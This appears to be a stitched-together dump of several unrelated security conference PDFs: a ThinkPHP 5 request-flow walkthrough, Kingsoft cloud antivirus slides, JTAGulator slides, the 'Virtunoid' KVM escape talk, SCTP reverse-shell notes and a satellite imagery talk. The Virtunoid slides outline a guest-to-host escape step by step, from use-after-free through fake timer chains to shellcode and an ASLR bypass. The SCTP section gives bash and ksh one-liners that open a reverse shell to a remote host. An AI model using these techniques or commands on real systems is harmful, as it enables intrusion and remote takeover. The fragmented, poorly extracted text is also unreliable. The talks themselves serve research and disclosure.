│ ├─convention.php 惯例配置文件 36 │ ├─helper.php 助手函数文件(可选) 37 │ ├─LICENSE.txt 授权说明文件 38 │ ├─phpunit.xml 单元测试配置文件 39 │ ├─README.md README 文件 40 │ └─start.php 框架引导文件 41 ├─build.php 自动生成定义文件(参考) 42 ├─composer.json composer 定义文件 43 ├─LICENSE.txt 授权说明文件 44 ├─README.md README 文件 45 ├─think 命令行入口文件 入口文件为public目录下的index.php 程序或许有一个或者多个入口文件,入口文件 一般 首先会检测程序安装情况 定义一些环境变量,网站路径等,定义应用目录,最后一步为加 载框架引导文件 首先进入start.php 一进去就加载了base.php base.php里面做的事情可就多了 1.载入Loader类 thinkPHP5.0真正实现了按需加载,所有类库采用自动加载机制,并且支 持类库映射和composer类库的自动加载。自动加载的实现由think\Loader类库完成,自动 加载规范符合PHP的PSR-4 关于Loader类有一个比较重要的方法,这里强调一下 2.注册环境变量 3.注册自动加载 以及错误异常处理机制 4.最后一点着重说一下,Config的初始化 base.php最后一句话,初始化了Config,调用了 config类的set方法, 其实是加载了convention.php文件 它返回了一个数组 到这里base.php文件执行完毕,我们回到start.php中 App::run()->send(); 执行应用,这 时候就可以跟进App类了,我们跟进run()方法  run方法的默认参数是一个request对象 如果请求不为空 就处理这个请求 如果传入的参数 为空 则先进入Request instance 初始化出一个请求对象  然后调用自身的initcCommon initCommon又调用了init 最后返回Config::get()又一次初 始化了config ,这里注意下,我们知道tp嘚每个模块,应用都有单独的配置文件,所以这里 实现的就是除了加载总的配置文件,还要把应用单独的配置文件初始化 接下来的流程我们看 源码嘚注释就可以了解大概了 接下来我们重点关注一个一个变量 $dispatch 它是关键的调度信息,用于路由到具体的模 块方法,router主要处理后的url就存储在这个变量中 这里先进行路由检测 如果没设置路由规则 就调用tp默认的访问方式 parseurl()返回解析出 来的dispatch 解析出url,将目前的dispatch值赋值到request对象中,request对象获取到当前请求的调 度信息 可以看到 requests类页游自己的dispatch变量 ??? 然后看tp自己的注释就好,没什么可解释的了 然后,最终执行到核心了,注意下config和dispatch都传进来了 跟进去,整体是一个switch的逻辑,根据dispatch数组的type来选择进入哪段代码 先看放一张注释,解释的蛮清楚,着重说下 invokemethod,php的回调方法,还有var这 个变量,这里已经注册了处路由参数外所有post get进来的变量了 主要是request中的参数  当然还有dispatch中参数 就算是先进入了module方法,也得再进入控制器方法处理 就算进入可控制器方法,最后还得调用具体的method 总结一下,exec就是执行了具体的分发了 最后返回data  执行完exec后 app的run()方法会返回一个response对象 我们再回到start.php 调用response的send方法,将输出返回到客户端 流程执行完毕                                                                                                --------------------Skay
pdf
云@金山 Cloud at KINGSOFT --一种不同的思路做云安全 A different thought in cloud-based security 演讲人: CardMagic (孙明焱) 金山网络 KINGSOFT Agenda 金山云体系 KINGSOFT cloud artitecture 金山云防御 KINGSOFT cloud defense 金山云查杀 KINGSOFT cloud-based anti-virus 关于演讲者 About the speaker… 孙明焱 ID: CardMagic -现任金山网络产品总监,负责金山毒霸相关开发 current product director of KINGSOFT, who is responsible for the development of “金山毒霸” -曾任奇虎360云查杀产品负责人 previous chief developer of Qihoo 360 Cloud-based anti-virus -曾任Trend Micro技术经理 previous technology manager of Trend Micro -曾任NEC开发工程师 precious programmer of NEC -Antirootkit工具DarkSpy的作者(被趋势科技收购) creator of DarkSpy,a tool of Antirootkit. (purchased by Trend) -精通各类安全开发,曾负责开发过各类云安全产品 specialize in various security development. Develop abundant security products. 金山云体系-信息安全问题的源头 KINGSOFT cloud architecture – the cause of security problem 病毒 Virus 病毒作者+产业链 Virus Creator+ Crimeware Industry 病毒技术 Virus technique … 杀毒软件 Anti-Virus Software 反病毒厂商 Anti-Virus Company 反病毒技术 Anti-Virus technique … 对抗 金山云体系-云端智能鉴定技术 KINGSOFT cloud architecture: Cloud intelligence of Forensics 海量样本 Enormous Samples 样本相关信息 Information from Samples 数据挖掘技术 Data Mining technique 10年病毒技术跟进 和积累的经验 Ten-years knowledge of Virus technique and accumulated experience. 金山云体系-常规云安全 KINGSOFT cloud architecture” The security of regular cloud? 病毒作者 Creator of Virus 1 用户1 User 1 后台自动系统 Automatic backend system 2 3 4 特征自动发布 Automatic signatures publishing 5 中毒啦中毒啦 Infected by Virus 互联网 Internet 放个木马,赚钱罗 Make money from malwares 用户2 User 2 云防住啦 Safe! Protected by Cloud 金山云体系-黑色产业链解决(1) KINGSOFT cloud architecture: Solution of Crimeware industry 病毒作者 Creator of Virus 1 用户 User 鹰眼系统 Hawkeye Monitoring system 后台自动系统 Automatic backend system 2 3 4 特征自动发布 Automatic signatures publishing 5 小子,一直盯着你呢 “ I WATCH YOU ! ” 哦,有个木马,有 金山云支持,我不怕 互联网 Interne t 放个木马,赚钱罗 Make money from malwares 金山云体系-黑色产业链解决(2) KINGSOFT cloud architecture: Solution of Crimeware industry ● 为什么要产业链: How does knowing crimeware industry assist us in Virus detection? - 产业链做为直接鉴定器,鉴定文件与URL The features of crimeware industry can be the direct verifier in checking files and URLs - 在病毒还没有大规模传播时,就可以根据病毒集团的运营能力了解病毒 可能传播的范围,提前做好准备 Before a widespread infection, we can predict the possible distributed range based on individual crimware industry’s behavior. - 产业链聚类后病毒传播特征明显,便于做方案,只需针已病毒集为单位 验证即可 By clustering crimeware industries, the signatures of their behaviors become clear which contributes to the unit test of virus 金山云体系-黑色产业链解决(3) KINGSOFT cloud architecture: Solution of Crimeware industry ● 金山黑产业链积累: KINGSOFT has accumulated years of knowledge in crimware industry. - 独特的产业链归类系统 The unique industry classification system - 产业链特征自动提取系统 The automatic signatures extraction system - 专门团队运营与监控 Specialized team in monitoring and maintaining 金山云体系-普通指纹云 KINGSOFT cloud architecture – Normal signatures cloud A.exe V1 A.exe V2 A.exe V3 指纹1 Signature 1 指纹2 Signature 2 指纹3 Signature 3 客户端 User 云端 Cloud 用户 User 软件又更新,又被误报了!! Endless new versions of security software. Misreport again!! 云安全从业者 Provider of Cloud Secutiry 后台快撑爆啦, 成本成本!! Endless expansion with backend system due to the increasing data flow of signatures 金山云体系-金山微特征云 KINGSOFT cloud architecture – Micro-signature cloud A.exe V1 A.exe V2 A.exe V3 微征特1 Micro- signature 1 客户端 User 云端 Cloud 金山云体系-关于金山云体系的一些成果 KINGSOFT cloud architecture – Achievement ● 通过鹰眼系统以及金山对产业链的积累,在大陆地区首家披露了十 大病毒集团 With the Hawkeye monitoring system and the accumulated knowledge in this field, we revealed top 10 crimeware groups in Mainland China. ● 金山云后台拥有30多款各类鉴定器,涵盖各类启发式与智能鉴定技 术 KINGSOFT backend system owns more than 30 various forensic devices, containing all different kinds of intelligent forensic techniques. ● 金山云后台每天发布约30万特征,其中: 白特征 约25万 黑特征 约5万 Every day, KINGSOFT publishes approximate 300,000 signatures, which include 250,000 white signatures and 50,000 black i t 金山云防御 KINGSOFT cloud defense Defense at boundary Program execution System defense 金山云防御-什么是边界防御 What is Boundary Defense? Outer files KINGSOFT Boundary Defense 金山云防御-为什么要边界防御(1) Why is boundary defense needed? ● 传统主动防御的痛处 The disadvantages of traditional active defense ○ 病毒执行后行为变化方法太多 Enormous unpredictable ways of virus behaviors once they have been executed. ○ 既需要应对文件变化,又需要应对行为变化 It has to deal with either changes of files or changes in behaviors ○ 随着各种安全策略的增加,不断拖耗系统性能 With the increasing numbers of security strategies, the efficiency of system decreases. ○ 兼容性不好 Low in compatibility ○ 驱动级更新对抗,稍有不慎便蓝屏崩溃 A threat of bsod crash while dealing with kernel-mode rootkit ○ 进程执行时文件太多后台无法完全鉴定 Too much files during processing for backend system to fully evaluate 金山云防御-为什么要边界防御(2) Why is boundary defense needed? ● 边界防御的优势 The advantages of boundary defense ○ 只做文件对抗 Only the file scanning is needed. ○ 只有极少情况会触发边界防御逻辑 Only few circumstances will trigger the logics of boundary defense ○ 轻量级高兼容性实现 Lightweight and high compatibility ○ 不用根据病毒的行为变化不停改变 Doesn’t need to alter with different kinds of virus behaviors 金山云防御-为什么要边界防御(3) Why is boundary defense needed? ● 边界防御可行么 Does boundary defense really work? ● 每日边界防御的新增文件数量是有限的(可运营) The increasing numbers of files of everyday boundary defense is limited. (Sustainable) ● 边界防御中遇到的威胁是容易定性的(可做解决方案) The threats boundary defense system would encounter are easily identifiable. (Can be solved by specialized solution package) 金山云防御-边界防御 V.S. 下载保护(1) KINGSOFT cloud defense: Boundary Defense V.S. On-download file scanning ● 最本质的区别 The essential distinction ○ 边界防御是一个整体的解决方案以保证恶意文件不进 入系统。 Boundary defense is a comprehensive solution to prevent malware from entering systems. ○ 下载保护只是一个具体的产品功能 On-download file scanning is merely a specific product function. 金山云防御-边界防御 V.S. 下载保护(2) KINGSOFT cloud defense: Boundary Defense V.S. On-download file scanning 具体差异表现在如下几点: To illustrate their differences as follows: ● 边界防御是全面的,不光包含下载,并且会不断覆盖新渠道 Boundary defense is comprehensive. Despites download checking, it covers attack paths continuously. ● 投入精英和最优资源参与边界防御 Boundary defense has intelligent working members and also the best resources participating in development. ● 对各种入口进入的各类文件有完善的解决方案和相关的专门开发和产品运营团队投入 Boundary defense has dedicated and comprehensive solution packages to different kinds of files with specialized development teams. ● 云端有专门团队和专门流程应对处理边界防御文件,包括:鉴定黑白,运营外挂色播 等。力保边界所有文件均有鉴定结果 We have specialized teams and progress to deal with suspicious files, including identifying black or white, and also detecting pornography distribution. ● 由于对边界防御概念的深刻理解,会不断关注并挖掘边界防御安全新动向,并开发解 决方案 Due to the profound understanding of boundary defense, we keep focusing on new trends in boundary defense security, and developing different solutions. 金山云防御-金山边界防御的优势和积累 KINGSOFT cloud defense: The advantages we acquire 金山做边界防御有如下优势和积累: ● 基于特征的云,保证在边界的文件特征数量极其收敛 Based on the signature cloud, we promise a converging numbers of signatures. ● 后台30多种自主开发鉴定器(各种启发式以及专项鉴定)We have more than 30 different kinds of self-developed heuristic and special domain verifier.(各种启发式以及专项鉴定) ● 金山长期积累各种鉴定器以及分析人才 We have long experience in developing verifier and recruiting talented analyzing members. ● 从上到下对边界防御的深刻认识 A profound and comprehensive knowledge of boundary defense. 金山云防御-边界防御方案(1) Outer Files KINGSOFT cloud-based Anti-virus Engine Normal files Unknown files Malicious files 金山云防御-边界防御方案(2) KINGSOFT cloud defense: Boundary defense solution (2) Normal Files UnknownFiles Malicious Files We identify this file to be safe! Your file needs to go through an advanced analysis. Solution to malicious files. 金山云防御-边界防御方案(3) Boundary defense solution (3) Malicious files Pornography player Plug-in Others This player contains virus! You can choose from… 1. To see the film in a safe mode. 2. Remove this file immediately. Malware detected! Suggestion: Remove now! Safety Sandbox Your file is infected and being removed 金山云防御-金山系统防御构成 KINGSOFT cloud defense: Assembling 进程防御 注册表防御 文件防御 核心防御 自我保护 云保护 金山主动防 御 KINGSOFT active defense Self protection Process defense Registry defense File defense Kernel-mode defense Cloud defense 金山云防御-全面基于云 Based cloud 进程a.exe 写关键启动项 对a.exe进行云查询 返回恶意或未知 弹窗 a.exe启动项写入b.dll 返回安全 对b.dll进行云查询 返回恶意或未知 弹窗 返回安全 放行 Program Writing key AutoRun entry Cloud checks at a.exe Return “Safe” Return “Malicious” or “Unknown” Pop-up window Pop-up window a.exe writes an AutoRun entry – b.dll Cloud checks at b.dll Return “Safe” Return “Malicious” or “Unknown” Permit! 金山云查杀-反思查杀遇到的问题 The problems encountered in Anti-virus ● 为什么每次扫描要那么长时间 Why does it take like forever In every scanning? ● 为什么要那么多种扫描:全盘扫描/快速扫描.... Why do we need so many scanning methods: “Full Scan”/ ”Quick Scan”…? ● 检出率为什么这么低 Why is the detection rate so low? 金山云查杀-解决方案 KINGSOFT Solution 一键云查杀 One-click cloud-based Anti-virus 金山云查杀-一键云查杀 One-click cloud-based Anti- virus 活体查杀 全盘查杀 全盘感染,全盘劫持等触发条件 启动项扫描 运行中程序扫描 系统文件和易 感染位置扫描 系统修复与脚 本扫描 插件扫描 Live scanning Full scanning Trigger conditions: System-wide infection and hijacking AutoRun Entry Scan running process Scan system files and files which are prone to be infected. System recovering and scanning of script Scan plug-ins. 金山云查杀-一键云查杀特点 Characteristics of One-click cloud-based Anti-virus ● 启动项非白即黑 No ambiguity in AutoRun entries – they are either white or black. ● 系统文件替换 To substitute the infected system files ● 未知文件99秒云鉴定 99 seconds in unknown file verification ● 云特征扫描 Scan with the signatures provided by cloud ● 系统云 Systematic cloud ● 专有团队保证活体查杀的鉴定 总结 Conclusion ● 金山云体系 KINGSOFT cloud architecture -基于特征 Based on signatures -自主鉴定器 Automatic forensic device -产业链 Crimeware Industry ● 金山云防御 - 边界防御 KINGSOFT cloud defense – Boundary defense ● 金山云查杀 - 一键云查杀 KINGSOFT cloud-based Anti-virus : One-click cloud-based Anti-Virus P/31 与中国的软件产业共同进步! Thank you for your participation!
pdf
Assisted Discovery of On-Chip Debug Interfaces Joe Grand, Grand Idea Studio, Inc. www.jtagulator.com Introduction • On-chip debug interfaces (such as JTAG) are a well-known hardware attack vector - Extract program code or data - Modify memory contents - Affect device operation on-the-fly - Provide chip-level control of a target device - Used as a stepping stone to further an attack • Identifying interfaces can sometimes be difficult and/or time consuming Goal • Create an easy-to-use, open source tool to simplify the process Design Specifications • Open source/hackable/expandable • Command-based interface • Input protection • Adjustable target voltage • Off-the-shelf components • Hand solderable PCB *** 2x5 headers compatible w/ Bus Pirate probes, http://dangerousprototypes.com/docs/Bus_Pirate Target I/F (24 channels) Propeller USB Input protection Level translation Status Op-Amp/DAC Demonstration Possible Limitations • No supported interface exists • Interface is physically disconnected - Cut traces, missing jumpers/0 ohm resistors • Interface isn't being properly enabled - Password protected, other pin settings needed • Signaling mismatch - Incorrect voltage levels, strong pull resistors on target • Abnormal target behavior due to "fuzzing" unknown pins *** Additional reverse engineering will be necessary Resources • www.jtagulator.com *** Schematics, source code, BOM, block diagram, Gerber plots, photos, videos, other documentation • www.parallax.com *** Assembled units, accessories *** Worldwide authorized distributors • http://oshpark.com/profiles/joegrand *** Bare boards
pdf
Virtunoid: Breaking out of KVM Nelson Elhage July 25, 2011 Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 1 / 42 Outline 1 KVM: Architecture overview Attack Surface 2 CVE-2011-1751: The bug 3 virtunoid.c: The exploit %rip control Getting to shellcode Bypassing ASLR 4 Conclusions and further research 5 Demo Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 2 / 42 KVM: Architecture overview KVM: The components kvm.ko kvm-intel.ko / kvm-amd.ko qemu-kvm Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 3 / 42 KVM: Architecture overview kvm.ko The core KVM kernel module Provides ioctls for communicating with the kernel module. Primarily responsible for emulating the virtual CPU and MMU Emulates a few devices in-kernel for efficiency. Contains an emulator for a subset of x86 used in handling certain traps (!) Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 4 / 42 KVM: Architecture overview kvm-intel.ko / kvm-amd.ko Provides support for Intel’s VMX and AMD’s SVM virtualization extensions. Relatively small compared to the rest of KVM (one .c file each) Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 5 / 42 KVM: Architecture overview qemu-kvm Provides the most direct user interface to KVM. Based on the classic qemu x86 emulator. Implements the bulk of the virtual devices a VM uses. Implements a wide variety of possible devices and buses. An order of magnitude more code than the kernel module. Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 6 / 42 KVM: Architecture overview Control flow Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 7 / 42 KVM: Architecture overview Attack Surface kvm.ko A tempting target – successful exploitation gets ring0 on the host without further escalation. Much less code than qemu-kvm, and much of that is dedicated to interfacing with qemu-kvm, not the guest directly. The x86 emulator is an interesting target. A number of bugs have been discovered allowing privesc within the guest. A lot of tricky code that is not often exercised. Not the target of this talk, but I have some ideas for future work. Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 8 / 42 KVM: Architecture overview Attack Surface qemu-kvm A veritable goldmine of targets. Hundreds of thousands of lines of device emulation code. Emulated devices communicate directly with the guest via MMIO or IO ports, lots of attack surface. Much of the code comes straight from qemu and is ancient. qemu-kvm is often sandboxed using SELinux or similar, meaning that successful exploitation will often require a second privesc within the host. (Fortunately, Linux never has any of those) Lots of bugs have been found here. Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 9 / 42 CVE-2011-1751: The bug RHSA-2011:0534-1 “It was found that the PIIX4 Power Management emulation layer in qemu-kvm did not properly check for hot plug eligibility during device removals. A privileged guest user could use this flaw to crash the guest or, possibly, execute arbitrary code on the host. (CVE-2011-1751)” Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 10 / 42 CVE-2011-1751: The bug d i f f −−g i t a/hw/ a c p i p i i x 4 . c b/hw/ a c p i p i i x 4 . c index 96 f5222 . . 6 c 9 0 8 f f 100644 −−− a/hw/ a c p i p i i x 4 . c +++ b/hw/ a c p i p i i x 4 . c @@ −471,11 +471 ,13 @@ s t a t i c void p c i e j w r i t e ( void *opaque , u i n t 3 2 t addr , u i n t 3 2 t v a l ) BusState *bus = opaque ; DeviceState *qdev , * next ; PCIDevice *dev ; + PCIDeviceInfo * i n f o ; i n t s l o t = f f s ( v a l ) − 1; QLIST FOREACH SAFE( qdev , &bus−>c h i l d r e n , s i b l i n g , next ) { dev = DO UPCAST( PCIDevice , qdev , qdev ) ; − i f ( PCI SLOT ( dev−>devfn ) == s l o t ) { + i n f o = c o n t a i n e r o f ( qdev−>info , PCIDeviceInfo , qdev ) ; + i f ( PCI SLOT ( dev−>devfn ) == s l o t && ! info−>no hotplug ) { q d e v f r e e ( qdev ) ; } } Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 11 / 42 CVE-2011-1751: The bug PIIX4 The PIIX4 was a Southbridge chip used in many circa-2000 Intel chipsets. The default southbridge emulated by qemu-kvm Includes ACPI support, a PCI-ISA bridge, an embedded MC146818 RTC, and much more. Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 12 / 42 CVE-2011-1751: The bug Device Hotplug The PIIX4 supports PCI hotplug, implemented by writing values to IO port 0xae08. qemu-kvm emulates this by calling qdev_free(qdev);, which is supposed to make sure the device is properly disconnected. Certain devices don’t properly support being hotplugged, but KVM previously didn’t check this before freeing them. Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 13 / 42 CVE-2011-1751: The bug The PCI-ISA bridge In particular, it should not be possible to unplug the ISA bridge. Among other things, the emulated MC146818 RTC hangs off the ISA bridge. KVM’s emulated RTC is not designed to be unplugged; In particular, it leaves around dangling QEMUTimer objects when unplugged. Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 14 / 42 CVE-2011-1751: The bug The real-time clock typedef s t r u c t RTCState { u i n t 8 t cmos data [ 1 2 8 ] ; . . . /* second update */ i n t 6 4 t next second time ; . . . QEMUTimer * second timer ; QEMUTimer * second timer2 ; } RTCState ; Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 15 / 42 CVE-2011-1751: The bug The real-time clock s t a t i c i n t r t c i n i t f n ( ISADevice *dev ) { RTCState *s = DO UPCAST( RTCState , dev , dev ) ; . . . s−>s e c o n d t i m e r = qemu new timer ns ( r t c c l o c k , r t c u p d a t e s ec o n d , s ) ; s−>second ti mer2 = qemu new timer ns ( r t c c l o c k , rtc update second2 , s ) ; s−>n e x t s e c o n d t i m e = q em u get cl ock ns ( r t c c l o c k ) + ( g e t t i c k s p e r s e c () * 99) / 100; qemu mod timer ( s−>second timer2 , s−>n e x t s e c o n d t i m e ) ; . . . } Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 16 / 42 CVE-2011-1751: The bug QEMUTimer s t r u c t QEMUTimer { QEMUClock * clock ; i n t 6 4 t e x p i r e t i m e ; /* in nanoseconds */ QEMUTimerCB *cb ; void *opaque ; s t r u c t QEMUTimer * next ; }; Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 17 / 42 CVE-2011-1751: The bug RTC timers ... (s−>second_timer) rtc_update_second (s−>second_timer2) rtc_update_second2 1.1s 1s Update in progress Update in progress 2s 2.1s Time rtc_update_second (s−>second_timer) rtc_update_second2 (s−>second_timer2) Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 18 / 42 CVE-2011-1751: The bug Use-after-free Unplugging the virtual RTC free()s the RTCState It doesn’t free() or unregister either of the timers. So we’re left with dangling pointers from the QEMUTimers Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 19 / 42 virtunoid.c: The exploit 1 KVM: Architecture overview Attack Surface 2 CVE-2011-1751: The bug 3 virtunoid.c: The exploit %rip control Getting to shellcode Bypassing ASLR 4 Conclusions and further research 5 Demo Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 20 / 42 virtunoid.c: The exploit %rip control High-level TODO Inject a controlled QEMUTimer into qemu-kvm at a known address Eject the emulated ISA bridge Force an allocation into the freed RTCState, with second_timer pointing at our dummy timer. Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 21 / 42 virtunoid.c: The exploit %rip control Injecting data The guest’s RAM is backed by a simple mmap()ed region inside the qemu-kvm process. So we allocate an object in the guest, and compute hva = physmem_base + (gva_to_gfn(gva) << PAGE_SHIFT) + page_offset(hva) hva host virtual address gva guest virtual address gfn guest frame (physical page) number For now, assume we can guess physmem_base (e.g. no ASLR) Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 22 / 42 virtunoid.c: The exploit %rip control fs/proc/task_mmu.c /* * / proc / pid /pagemap − an a r r a y mapping v i r t u a l pages to pfns * * For each page i n the address space , t h i s f i l e c o n t a i n s * one 64− b i t e n t r y c o n s i s t i n g of the f o l l o w i n g : * * B i t s 0−55 page frame number (PFN) i f p r e s e n t * B i t s 0−4 swap type i f swapped * B i t s 5−55 swap o f f s e t i f swapped * B i t s 55−60 page s h i f t ( page s i z e = 1<<page s h i f t ) * Bit 61 r e s e r v e d f o r f u t u r e use * Bit 62 page swapped * Bit 63 page p r e s e n t */ Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 23 / 42 virtunoid.c: The exploit %rip control qemu-kvm userspace network stack qemu-kvm contains a user-mode networking stack. Implements a DHCP server, DNS server, and a gateway NAT. The user-mode stack normally handles packets synchronously. To prevent recursion, if a second packet is emitted while handling a first packet, the second packet is queued, using malloc(). The virtual network gateway responds to ICMP ping. Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 24 / 42 virtunoid.c: The exploit %rip control Putting it all together 1 Allocate a fake QEMUTimer Point ->cb at the desired %rip. Set ->expire to something small (e.g. 0). 2 Calculate its address in the host. 3 Write 2 to IO port 0xae08 to eject the ISA bridge. 4 ping the emulated gateway with ICMP packets containing pointers to your allocated timer in the host. Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 25 / 42 virtunoid.c: The exploit Getting to shellcode We’ve got %rip, now what? Options: Get EIP = 0x41414141 and declare victory. Disable NX in my BIOS and call it good enough for a demo. Do a ROP pivot, ROP to victory. ???? Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 26 / 42 virtunoid.c: The exploit Getting to shellcode Another look at QEMUTimer s t r u c t QEMUTimer { . . . s t r u c t QEMUTimer * next ; . . . }; Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 27 / 42 virtunoid.c: The exploit Getting to shellcode qemu_run_timers s t a t i c void qemu run timers (QEMUClock * clock ) { QEMUTimer ** ptimer head , * t s ; i n t 6 4 t c u r r e n t t i m e ; c u r r e n t t i m e = qemu get clock ns ( clock ) ; ptimer head = &a c t i v e t i m e r s [ clock −>type ] ; f o r ( ; ; ) { t s = * ptimer head ; i f ( ! qemu timer expired ns ( ts , c u r r e n t t i m e )) break ; * ptimer head = ts−>next ; ts−>next = NULL; ts−>cb ( ts−>opaque ) ; } } Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 28 / 42 virtunoid.c: The exploit Getting to shellcode Timer chains We don’t just control %rip – we control a QEMUTimer object that is going to get dispatched by qemu_run_timers. In particular, we can control ->next. So we can chain fake timers, and make multiple one-argument calls in a row. We can fake other structs to get the first argument. qemu_run_timers doesn’t touch %rsi in any version of qemu-kvm I’ve examined. Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 29 / 42 virtunoid.c: The exploit Getting to shellcode Getting to mprotect Find a function (“F”) that makes a three-arg function call based on struct(s) passed as arguments one and two. Construct appropriate fake structures. Construct a timer chain that Does a call to set up %rsi based on a first argument in %rdi. Does a call to F that mprotect()s one or more pages in the guest physmem map. Calls shellcode stored in those pages. Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 30 / 42 virtunoid.c: The exploit Getting to shellcode Why this trickery? Continued execution is dead simple. Reduced dependence on details of compiled code. I’m not that good at ROP :) Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 31 / 42 virtunoid.c: The exploit Bypassing ASLR Addresses We need at least two addresses The base address of the qemu-kvm binary, to find code addresses. physmem_base, the address of the physical memory mapping inside qemu-kvm. Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 32 / 42 virtunoid.c: The exploit Bypassing ASLR Option A Find an information leak. Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 33 / 42 virtunoid.c: The exploit Bypassing ASLR Option B Assume non-PIE, and be clever. Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 34 / 42 virtunoid.c: The exploit Bypassing ASLR fw_cfg Emulated IO ports 0x510 (address) and 0x511 (data) Used to communicate various tables to the qemu BIOS (e820 map, ACPI tables, etc) Also provides support for exporting writable tables to the BIOS. However, fw_cfg_write doesn’t check if the target table is supposed to be writable! Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 35 / 42 virtunoid.c: The exploit Bypassing ASLR hw/pc.c s t a t i c s t r u c t e 8 2 0 t a b l e e 8 2 0 t a b l e ; s t r u c t h p e t f w c o n f i g h p e t c f g = {. count = UINT8 MAX}; . . . fw cfg = f w c f g i n i t (BIOS CFG IOPORT , BIOS CFG IOPO f w c f g a d d b y t e s ( fw cfg , FW CFG E820 TABLE , ( u i n t 8 s i z e o f ( s t r u c t e 8 2 0 ta b l e ) ) ; f w c f g a d d b y t e s ( fw cfg , FW CFG HPET, ( u i n t 8 t *)& s i z e o f ( s t r u c t h p e t f w c o n f i g ) ) ; Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 36 / 42 virtunoid.c: The exploit Bypassing ASLR read4 your way to victory Net result: nearly 500 writable bytes inside a static variable. mprotect needs a page-aligned address, so these aren’t suitable for our shellcode. But, we can construct fake timer chains in this space to build a read4() primitive. Use that to find physmem_base Proceed as before. Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 37 / 42 virtunoid.c: The exploit Bypassing ASLR Repeated timer chaining Previously, we ended timer chains with ->next = NULL. Instead, end them with a timer that calls rtc_update_second to reschedule the timer every second. Now we can execute a read4, update structures based on the result, and then hijack the list again. Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 38 / 42 Conclusions and further research Possible hardening directions Sandbox qemu-kvm (work underway well before this talk). Build qemu-kvm as PIE. Keep memory in a file in tmpfs and lazily mmap as-needed for DMA? XOR-encode key function pointers? More auditing and fuzzing of qemu-kvm! Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 39 / 42 Conclusions and further research Future research directions Fuzzing/auditing kvm.ko (That x86 emulator sketches me) Fingerprinting qemu-kvm versions Searching for infoleaks (Rosenbugs?) Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 40 / 42 Demo It’s demo time Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 41 / 42 Demo Questions? Nelson Elhage () Virtunoid: Breaking out of KVM July 25, 2011 42 / 42
pdf
apt install lksctp-tools modprobe sctp lsmod | grep sctp checksctp ​ run SCTP server in one terminal, sctp_darn -H 0 -P 2500 -l sctpshell 0x00 0x01 run SCTP client in another terminal, sctp_darn -H 0 -P 2600 -h 127.0.0.1 -p 2500 -s ​ ​ ​ ​ 0x02 ​ ​ sudo apt-get install ksh /bin/bash -i > /dev/sctp/host/port 2>&1 0>&1 //bash /bin/ksh -i > /dev/sctp/host/port 2>&1 0>&1 //ksh 0x03 shell ​ ​ 0x04
pdf
Satellite Imagery Analysis Greg Conti [email protected] image: nasa.gov The views expressed in this presentation are those of the author and do not reflect the official policy or position of the United States Military Academy, the Department of the Army, the Department of Defense or the U.S. Government. http://ehp.niehs.nih.gov/docs/2003/111-2/prison.jpg http://googlesightseeing.com/2006/11/28/top-10-naked-people-on-google-earth/ http://maps.google.com/maps?um=1&tab=wl&hl=en&q=google%20street%20level%20view http://streetviewgallery.corank.com/tech/all/cat/upcoming/people image: http://maps.google.com/ http://maps.google.com/ Be sure to photograph EFF attorneys http://blog.wired.com/27bstroke6/2007/06/eff_privacy_adv.html Checkbook Shutter Control "I could certainly foresee circumstances in which we would not want imagery to be openly disseminated of a sensitive site of any type, whether it is here or overseas," - Robert Muttett, director National Geospatial-Intelligence Agency “With the help of about $1 billion from Murrett's agency, the companies [DigitalGlobe GeoEye] plan to launch new satellites with higher resolutions later this year.” “While the public will begin to see crisper images online and elsewhere, government regulations will require the companies to degrade the quality of the imagery to a half-meter resolution.” http://www.komotv.com/news/tech/7404181.html Imagery Analysis • Understand capabilities and limitations of sensors and platforms • Image quality and realistic expectations • Build smart books • Combine multiple sources and times • Seek out domain experts – Collaborative analysis • Combine with other forms of information • Reverse engineering a city • Watching the watcher • A look to the future Keplerian Elements • Epoch • Orbital Inclination • Right Ascension of Ascending Node • Argument of Perigee • Eccentricity • Mean Motion • Mean Anomaly • Drag (optional) http://www.amsat.org/amsat/keps/kepmodel.html Example of Imagery Sat Keps • commercial imagery sat (graphic that builds using keps) • source of satellite keps • Demo of Nova for Windows Space Craft Orbits image: http://www2.uma.maine.edu/faculty/rsm/slides/chap11/f11-6.gif Typical Satellite 